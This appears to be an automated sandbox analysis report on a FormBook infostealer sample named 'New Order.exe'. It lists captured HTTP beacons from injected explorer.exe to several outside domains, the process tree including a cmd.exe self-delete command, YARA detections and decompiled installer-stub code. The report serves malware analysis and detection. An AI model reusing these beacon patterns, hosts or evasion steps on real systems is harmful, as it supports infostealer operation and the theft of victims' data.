Jun 22, 2021 18:06:46.698688030 CEST	6994	IN	Data Raw: 70 78 20 61 75 74 6f 20 31 30 70 78 3b 0a 20 20 20 20 7d 0a 20 20 20 20 2e 74 69 74 6c 65 2d 2d 72 65 67 75 6c 61 72 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 Data Ascii: px auto 10px; } .title--regular { font-family: 'Roboto', Arial, sans-serif; } .title--size-large { font-size: 36px; line-height: 46px; } .title--size-semimedium { font-size: 20px; line-height: 28px; } .title--weight-normal
Jun 22, 2021 18:06:46.698724985 CEST	6995	IN	Data Raw: 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 2d 2d 62 67 5f 5f 63 6f 76 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 76 67 20 69 64 3d 22 61 63 63 65 37 36 37 30 2d 39 30 34 66 Data Ascii: <div class="error--bg__cover"> <svg id="acce7670-904f-4f8c-b867-68138c2f8c06" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1019 467"><title>404_bg</title><path d="M962.794,62.029a11.471,11.47
Jun 22, 2021 18:06:46.698776007 CEST	6997	IN	Data Raw: 31 2e 30 32 32 6c 2e 35 37 31 2d 32 36 2e 31 34 61 31 2c 31 2c 30 2c 30 2c 31 2c 31 2e 34 38 37 2d 2e 38 35 31 6c 32 34 2e 33 35 36 2c 31 33 2e 36 30 37 61 31 2c 31 2c 30 2c 30 2c 31 2d 2e 30 33 38 2c 31 2e 37 36 37 6c 2d 32 34 2e 39 32 36 2c 31 Data Ascii: 1.022l.571-26.14a1,1,0,0,1,1.487-.851l24.356,13.607a1,1,0,0,1-.038,1.767l-24.926,12.532A1.006,1.006,0,0,1,773.316,228.33Zm1.535-25.456-.5,22.815,21.756-10.938Z" fill="#226d7a"/><path d="M136.509,150.348l-2.39-8.09a7.115,7.115,0,1,0-1.9.629l2.3
Jun 22, 2021 18:06:46.698832035 CEST	6998	IN	Data Raw: 32 61 31 2c 31 2c 30 2c 31 2c 30 2d 31 2e 33 39 33 2d 31 2e 34 33 35 4c 31 35 2e 32 2c 32 35 32 2e 34 31 33 41 37 2c 37 2c 30 2c 31 2c 30 2c 31 31 2c 32 36 35 63 2e 30 38 2c 30 2c 2e 31 35 38 2d 2e 30 30 39 2e 32 33 37 2d 2e 30 31 32 6c 32 2e 32 Data Ascii: 2a1,1,0,1,0-1.393-1.435L15.2,252.413A7,7,0,1,0,11,265c.08,0,.158-.009.237-.012l2.219,7.95a1,1,0,0,0,1.927-.538ZM6,258a5,5,0,1,1,5,5A5.006,5.006,0,0,1,6,258Z" fill="#226d7a"/><path d="M39.924,315.537l-7.936-2.293c0-.082.012-.162.012-.244a7.008,
Jun 22, 2021 18:06:46.698888063 CEST	7000	IN	Data Raw: 33 2c 32 2e 33 35 36 61 31 2e 30 32 35 2c 31 2e 30 32 35 2c 30 2c 30 2c 30 2c 2e 32 37 38 2e 30 33 39 2c 31 2c 31 2c 30 2c 30 2c 30 2c 2e 32 37 36 2d 31 2e 39 36 31 6c 2d 37 2e 39 32 34 2d 32 2e 32 39 61 37 2c 37 2c 30 2c 31 2c 30 2d 31 31 2e 39 Data Ascii: 3,2.356a1.025,1.025,0,0,0,.278.039,1,1,0,0,0,.276-1.961l-7.924-2.29a7,7,0,1,0-11.918,2.965l-6.006,5.824a1,1,0,1,0,1.392,1.436L48.408,223A6.952,6.952,0,0,0,52,224Zm0-12a5,5,0,1,1-5,5A5.006,5.006,0,0,1,52,212Z" fill="#226d7a"/><path d="M122,281a
Jun 22, 2021 18:06:46.698941946 CEST	7001	IN	Data Raw: 38 2c 31 39 34 2e 36 38 39 61 31 2c 31 2c 30 2c 31 2c 30 2c 31 2e 31 37 36 2d 31 2e 36 31 37 6c 2d 37 2e 32 37 38 2d 35 2e 32 39 34 61 31 2c 31 2c 30 2c 30 2c 30 2d 31 2e 31 37 36 2c 31 2e 36 31 38 5a 22 20 66 69 6c 6c 3d 22 23 32 32 36 64 37 61 Data Ascii: 8,194.689a1,1,0,1,0,1.176-1.617l-7.278-5.294a1,1,0,0,0-1.176,1.618Z" fill="#226d7a"/><path d="M995.7,198.366a1,1,0,0,0-1.176,1.617l7.28,5.293a.986.986,0,0,0,.587.192,1,1,0,0,0,.588-1.809Z" fill="#226d7a"/><path d="M1002.5,232.72a1,1,0,0,0-1.36
Jun 22, 2021 18:06:46.698992014 CEST	7002	IN	Data Raw: 41 37 2c 37 2c 30 2c 30 2c 30 2c 38 37 32 2c 31 32 30 63 2e 30 39 31 2c 30 2c 2e 31 38 2d 2e 30 31 2e 32 37 31 2d 2e 30 31 34 6c 32 2e 35 37 36 2c 37 2e 38 37 39 61 31 2c 31 2c 30 2c 30 2c 30 2c 2e 39 35 2e 36 39 2e 39 38 35 2e 39 38 35 2c 30 2c Data Ascii: A7,7,0,0,0,872,120c.091,0,.18-.01.271-.014l2.576,7.879a1,1,0,0,0,.95.69.985.985,0,0,0,.31-.05,1,1,0,0,0,.64-1.261l-2.492-7.624A7.007,7.007,0,0,0,879,113Zm-7,5a5,5,0,1,1,5-5A5.006,5.006,0,0,1,872,118Z" fill="#226d7a"/><path d="M1012,205a7,7,0,0
Jun 22, 2021 18:06:46.699038982 CEST	7004	IN	Data Raw: 33 2e 38 34 38 20 31 34 37 2e 35 38 31 20 31 33 31 2e 37 33 34 20 31 34 35 2e 37 34 32 20 31 32 39 2e 36 32 31 20 31 34 33 2e 39 30 34 20 31 33 31 2e 37 33 34 20 31 34 35 2e 37 34 32 20 31 33 33 2e 38 34 38 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 Data Ascii: 3.848 147.581 131.734 145.742 129.621 143.904 131.734 145.742 133.848" fill="#fff"/><polygon points="145.742 122.041 147.581 119.928 145.742 117.814 143.904 119.928 145.742 122.041" fill="#fff"/><polygon points="145.742 110.235 147.581 108.122
Jun 22, 2021 18:06:46.699091911 CEST	7005	IN	Data Raw: 33 35 20 31 36 38 2e 31 33 20 31 30 38 2e 31 32 32 20 31 36 36 2e 32 38 38 20 31 30 36 2e 30 30 38 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 36 36 2e 32 38 38 20 39 34 2e 32 30 32 20 31 36 Data Ascii: 35 168.13 108.122 166.288 106.008" fill="#fff"/><polygon points="166.288 94.202 164.45 96.316 166.288 98.429 168.13 96.316 166.288 94.202" fill="#fff"/><polygon points="168.128 84.51 166.288 82.396 164.45 84.51 166.288 86.624 168.128 84.51" fi
Jun 22, 2021 18:06:46.851478100 CEST	7007	IN	Data Raw: 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 39 37 2e 31 31 20 31 32 39 2e 36 32 31 20 31 39 35 2e 32 36 38 20 31 33 31 2e 37 33 34 20 31 39 37 2e 31 31 20 31 33 33 2e 38 34 38 20 31 39 38 2e 39 34 38 20 31 33 31 2e 37 33 34 20 31 Data Ascii: /><polygon points="197.11 129.621 195.268 131.734 197.11 133.848 198.948 131.734 197.11 129.621" fill="#fff"/><polygon points="197.11 117.814 195.268 119.928 197.11 122.041 198.948 119.928 197.11 117.814" fill="#fff"/><polygon points="197.11 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49779	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 22, 2021 18:06:51.837527990 CEST	7018	OUT	GET /de52/?z6Ad_8Jp=A6XO+ITKnQQbOEvUMrF2CVYLPv45kLd/uv2YdfW9vEZfPW6611dfa85KEkC5Wqh6gBNa&Yz=0bpDyT HTTP/1.1 Host: www.cuttingemporium.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 22, 2021 18:06:51.976614952 CEST	7019	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Tue, 22 Jun 2021 16:06:51 GMT Content-Type: text/html Content-Length: 275 ETag: "60c7be46-113" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49780	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 22, 2021 18:06:57.107094049 CEST	7020	OUT	GET /de52/?z6Ad_8Jp=LwTVedL55OWwkv7g5+M8qNIWWWhwOSQTlz2nKf3SzAUgx635MxYM24Oa4PrOeZWczuGU&Yz=0bpDyT HTTP/1.1 Host: www.optimismactivism.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 22, 2021 18:06:57.245840073 CEST	7021	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Tue, 22 Jun 2021 16:06:57 GMT Content-Type: text/html Content-Length: 275 ETag: "60c7be36-113" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49781	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 22, 2021 18:07:02.363946915 CEST	7022	OUT	GET /de52/?z6Ad_8Jp=qb+cDyZ+/Kn0EiG8qAwackOr+Z8XD7HPsMVV4+H0Ra088mc2au++kj7rvX/qHs87RHMJ&Yz=0bpDyT HTTP/1.1 Host: www.occasionalassistant.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 22, 2021 18:07:02.503415108 CEST	7022	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Tue, 22 Jun 2021 16:07:02 GMT Content-Type: text/html Content-Length: 275 ETag: "60c7be6a-113" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: New Order.exe PID: 7044 Parent PID: 6124

General

Start time:	18:04:57
Start date:	22/06/2021
Path:	C:\Users\user\Desktop\New Order.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\New Order.exe'
Imagebase:	0x400000
File size:	206093 bytes
MD5 hash:	4AF03301316C984C17CA822456B6D918
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.645023716.00000000022A0000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.645023716.00000000022A0000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.645023716.00000000022A0000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: New Order.exe PID: 7108 Parent PID: 7044

General

Start time:	18:04:58
Start date:	22/06/2021
Path:	C:\Users\user\Desktop\New Order.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\New Order.exe'
Imagebase:	0x400000
File size:	206093 bytes
MD5 hash:	4AF03301316C984C17CA822456B6D918
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000002.690404186.00000000009F0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000002.690404186.00000000009F0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000002.690404186.00000000009F0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000002.690073712.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000002.690073712.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000002.690073712.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000001.642981900.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000001.642981900.0000000000400000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000001.642981900.0000000000400000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000002.690378991.00000000009C0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000002.690378991.00000000009C0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000002.690378991.00000000009C0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3424 Parent PID: 7108

General

Start time:	18:05:03
Start date:	22/06/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff6fee60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: wscript.exe PID: 5884 Parent PID: 3424

General

Start time:	18:05:20
Start date:	22/06/2021
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\wscript.exe
Imagebase:	0xdf0000
File size:	147456 bytes
MD5 hash:	7075DD7B9BE8807FCA93ACD86F724884
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.901125001.0000000000EB0000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.901125001.0000000000EB0000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.901125001.0000000000EB0000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 6416 Parent PID: 5884

General

Start time:	18:05:24
Start date:	22/06/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del 'C:\Users\user\Desktop\New Order.exe'
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6508 Parent PID: 6416

General

Start time:	18:05:24
Start date:	22/06/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: New Order.exe PID: 7044 Parent PID: 6124 New Order.exeCOMMON

Executed Functions

Function 004030FB, Relevance: 79.1, APIs: 26, Strings: 19, Instructions: 315
stringfilecomCOMMON

Download Yara Rule

C-Code - Quality: 78%

			_entry_() {
				intOrPtr _t47;
				CHAR* _t51;
				char* _t54;
				CHAR* _t56;
				void* _t60;
				intOrPtr _t62;
				int _t64;
				char* _t67;
				char* _t68;
				int _t69;
				char* _t71;
				char* _t74;
				int _t91;
				void* _t95;
				void* _t107;
				intOrPtr* _t108;
				char _t111;
				CHAR* _t116;
				char* _t117;
				CHAR* _t118;
				char* _t119;
				void* _t121;
				char* _t123;
				char* _t125;
				char* _t126;
				void* _t128;
				void* _t129;
				char _t147;

				 *(_t129 + 0x20) = 0;
				 *((intOrPtr*)(_t129 + 0x14)) = "Error writing temporary file. Make sure your temp folder is valid.";
				 *(_t129 + 0x1c) = 0;
				 *(_t129 + 0x18) = 0x20;
				SetErrorMode(0x8001); // executed
				if(GetVersion() != 6) {
					_t108 = E00405F28(0);
					if(_t108 != 0) {
						 *_t108(0xc00);
					}
				}
				_t118 = "UXTHEME";
				goto L4;
				while(1) {
					L22:
					_t111 =  *_t56;
					_t134 = _t111;
					if(_t111 == 0) {
						break;
					}
					__eflags = _t111 - 0x20;
					if(_t111 != 0x20) {
						L10:
						__eflags =  *_t56 - 0x22;
						 *((char*)(_t129 + 0x14)) = 0x20;
						if( *_t56 == 0x22) {
							_t56 =  &(_t56[1]);
							__eflags = _t56;
							 *((char*)(_t129 + 0x14)) = 0x22;
						}
						__eflags =  *_t56 - 0x2f;
						if( *_t56 != 0x2f) {
							L20:
							_t56 = E004056B6(_t56,  *((intOrPtr*)(_t129 + 0x14)));
							__eflags =  *_t56 - 0x22;
							if(__eflags == 0) {
								_t56 =  &(_t56[1]);
								__eflags = _t56;
							}
							continue;
						} else {
							_t56 =  &(_t56[1]);
							__eflags =  *_t56 - 0x53;
							if( *_t56 == 0x53) {
								__eflags = (_t56[1] | 0x00000020) - 0x20;
								if((_t56[1] | 0x00000020) == 0x20) {
									_t14 = _t129 + 0x18;
									 *_t14 =  *(_t129 + 0x18) | 0x00000002;
									__eflags =  *_t14;
								}
							}
							__eflags =  *_t56 - 0x4352434e;
							if( *_t56 == 0x4352434e) {
								__eflags = (_t56[4] | 0x00000020) - 0x20;
								if((_t56[4] | 0x00000020) == 0x20) {
									_t17 = _t129 + 0x18;
									 *_t17 =  *(_t129 + 0x18) | 0x00000004;
									__eflags =  *_t17;
								}
							}
							__eflags =  *((intOrPtr*)(_t56 - 2)) - 0x3d442f20;
							if( *((intOrPtr*)(_t56 - 2)) == 0x3d442f20) {
								 *((intOrPtr*)(_t56 - 2)) = 0;
								__eflags =  &(_t56[2]);
								E00405B98("C:\\Users\\jones\\AppData\\Local\\Temp",  &(_t56[2]));
								L25:
								_t116 = "C:\\Users\\jones\\AppData\\Local\\Temp\\";
								GetTempPathA(0x400, _t116);
								_t60 = E004030CA(_t134);
								_t135 = _t60;
								if(_t60 != 0) {
									L27:
									DeleteFileA("1033"); // executed
									_t62 = E00402C55(_t136,  *(_t129 + 0x18)); // executed
									 *((intOrPtr*)(_t129 + 0x10)) = _t62;
									if(_t62 != 0) {
										L37:
										E00403511();
										__imp__OleUninitialize();
										_t143 =  *((intOrPtr*)(_t129 + 0x10));
										if( *((intOrPtr*)(_t129 + 0x10)) == 0) {
											__eflags =  *0x423fd4;
											if( *0x423fd4 == 0) {
												L64:
												_t64 =  *0x423fec;
												__eflags = _t64 - 0xffffffff;
												if(_t64 != 0xffffffff) {
													 *(_t129 + 0x1c) = _t64;
												}
												ExitProcess( *(_t129 + 0x1c));
											}
											_t126 = E00405F28(5);
											_t119 = E00405F28(6);
											_t67 = E00405F28(7);
											__eflags = _t126;
											_t117 = _t67;
											if(_t126 != 0) {
												__eflags = _t119;
												if(_t119 != 0) {
													__eflags = _t117;
													if(_t117 != 0) {
														_t74 =  *_t126(GetCurrentProcess(), 0x28, _t129 + 0x20);
														__eflags = _t74;
														if(_t74 != 0) {
															 *_t119(0, "SeShutdownPrivilege", _t129 + 0x28);
															 *(_t129 + 0x3c) = 1;
															 *(_t129 + 0x48) = 2;
															 *_t117( *((intOrPtr*)(_t129 + 0x34)), 0, _t129 + 0x2c, 0, 0, 0);
														}
													}
												}
											}
											_t68 = E00405F28(8);
											__eflags = _t68;
											if(_t68 == 0) {
												L62:
												_t69 = ExitWindowsEx(2, 0x80040002);
												__eflags = _t69;
												if(_t69 != 0) {
													goto L64;
												}
												goto L63;
											} else {
												_t71 =  *_t68(0, 0, 0, 0x25, 0x80040002);
												__eflags = _t71;
												if(_t71 == 0) {
													L63:
													E0040140B(9);
													goto L64;
												}
												goto L62;
											}
										}
										E00405459( *((intOrPtr*)(_t129 + 0x14)), 0x200010);
										ExitProcess(2);
									}
									if( *0x423f5c == 0) {
										L36:
										 *0x423fec =  *0x423fec | 0xffffffff;
										 *(_t129 + 0x1c) = E004035EB( *0x423fec);
										goto L37;
									}
									_t123 = E004056B6(_t125, 0);
									while(_t123 >= _t125) {
										__eflags =  *_t123 - 0x3d3f5f20;
										if(__eflags == 0) {
											break;
										}
										_t123 = _t123 - 1;
										__eflags = _t123;
									}
									_t140 = _t123 - _t125;
									 *((intOrPtr*)(_t129 + 0x10)) = "Error launching installer";
									if(_t123 < _t125) {
										_t121 = E004053E0(_t143);
										lstrcatA(_t116, "~nsu");
										if(_t121 != 0) {
											lstrcatA(_t116, "A");
										}
										lstrcatA(_t116, ".tmp");
										_t127 = "C:\\Users\\jones\\Desktop";
										if(lstrcmpiA(_t116, "C:\\Users\\jones\\Desktop") != 0) {
											_push(_t116);
											if(_t121 == 0) {
												E004053C3();
											} else {
												E00405346();
											}
											SetCurrentDirectoryA(_t116);
											_t147 = "C:\\Users\\jones\\AppData\\Local\\Temp"; // 0x43
											if(_t147 == 0) {
												E00405B98("C:\\Users\\jones\\AppData\\Local\\Temp", _t127);
											}
											E00405B98(0x425000,  *(_t129 + 0x20));
											 *0x425400 = 0x41;
											_t128 = 0x1a;
											do {
												E00405BBA(0, _t116, 0x41f0f0, 0x41f0f0,  *((intOrPtr*)( *0x423f50 + 0x120)));
												DeleteFileA(0x41f0f0);
												if( *((intOrPtr*)(_t129 + 0x10)) != 0) {
													_t91 = CopyFileA("C:\\Users\\jones\\Desktop\\New Order.exe", 0x41f0f0, 1);
													_t149 = _t91;
													if(_t91 != 0) {
														_push(0);
														_push(0x41f0f0);
														E004058E6(_t149);
														E00405BBA(0, _t116, 0x41f0f0, 0x41f0f0,  *((intOrPtr*)( *0x423f50 + 0x124)));
														_t95 = E004053F8(0x41f0f0);
														if(_t95 != 0) {
															CloseHandle(_t95);
															 *((intOrPtr*)(_t129 + 0x10)) = 0;
														}
													}
												}
												 *0x425400 =  *0x425400 + 1;
												_t128 = _t128 - 1;
												_t151 = _t128;
											} while (_t128 != 0);
											_push(0);
											_push(_t116);
											E004058E6(_t151);
										}
										goto L37;
									}
									 *_t123 = 0;
									_t124 =  &(_t123[4]);
									if(E0040576C(_t140,  &(_t123[4])) == 0) {
										goto L37;
									}
									E00405B98("C:\\Users\\jones\\AppData\\Local\\Temp", _t124);
									E00405B98("C:\\Users\\jones\\AppData\\Local\\Temp", _t124);
									 *((intOrPtr*)(_t129 + 0x10)) = 0;
									goto L36;
								}
								GetWindowsDirectoryA(_t116, 0x3fb);
								lstrcatA(_t116, "\\Temp");
								_t107 = E004030CA(_t135);
								_t136 = _t107;
								if(_t107 == 0) {
									goto L37;
								}
								goto L27;
							} else {
								goto L20;
							}
						}
					} else {
						goto L9;
					}
					do {
						L9:
						_t56 =  &(_t56[1]);
						__eflags =  *_t56 - 0x20;
					} while ( *_t56 == 0x20);
					goto L10;
				}
				goto L25;
				L4:
				E00405EBA(_t118); // executed
				_t118 =  &(_t118[lstrlenA(_t118) + 1]);
				if( *_t118 != 0) {
					goto L4;
				} else {
					E00405F28(0xd);
					_t47 = E00405F28(0xb);
					 *0x423f44 = _t47;
					__imp__#17();
					__imp__OleInitialize(0); // executed
					 *0x423ff8 = _t47;
					SHGetFileInfoA(0x41f4f0, 0, _t129 + 0x38, 0x160, 0); // executed
					E00405B98(0x423740, "NSIS Error");
					_t51 = GetCommandLineA();
					_t125 = "\"C:\\Users\\jones\\Desktop\\New Order.exe\" ";
					E00405B98(_t125, _t51);
					 *0x423f40 = GetModuleHandleA(0);
					_t54 = _t125;
					if("\"C:\\Users\\jones\\Desktop\\New Order.exe\" " == 0x22) {
						 *((char*)(_t129 + 0x14)) = 0x22;
						_t54 =  &M0042A001;
					}
					_t56 = CharNextA(E004056B6(_t54,  *((intOrPtr*)(_t129 + 0x14))));
					 *(_t129 + 0x20) = _t56;
					goto L22;
				}
			}

0x0040310c
0x00403110
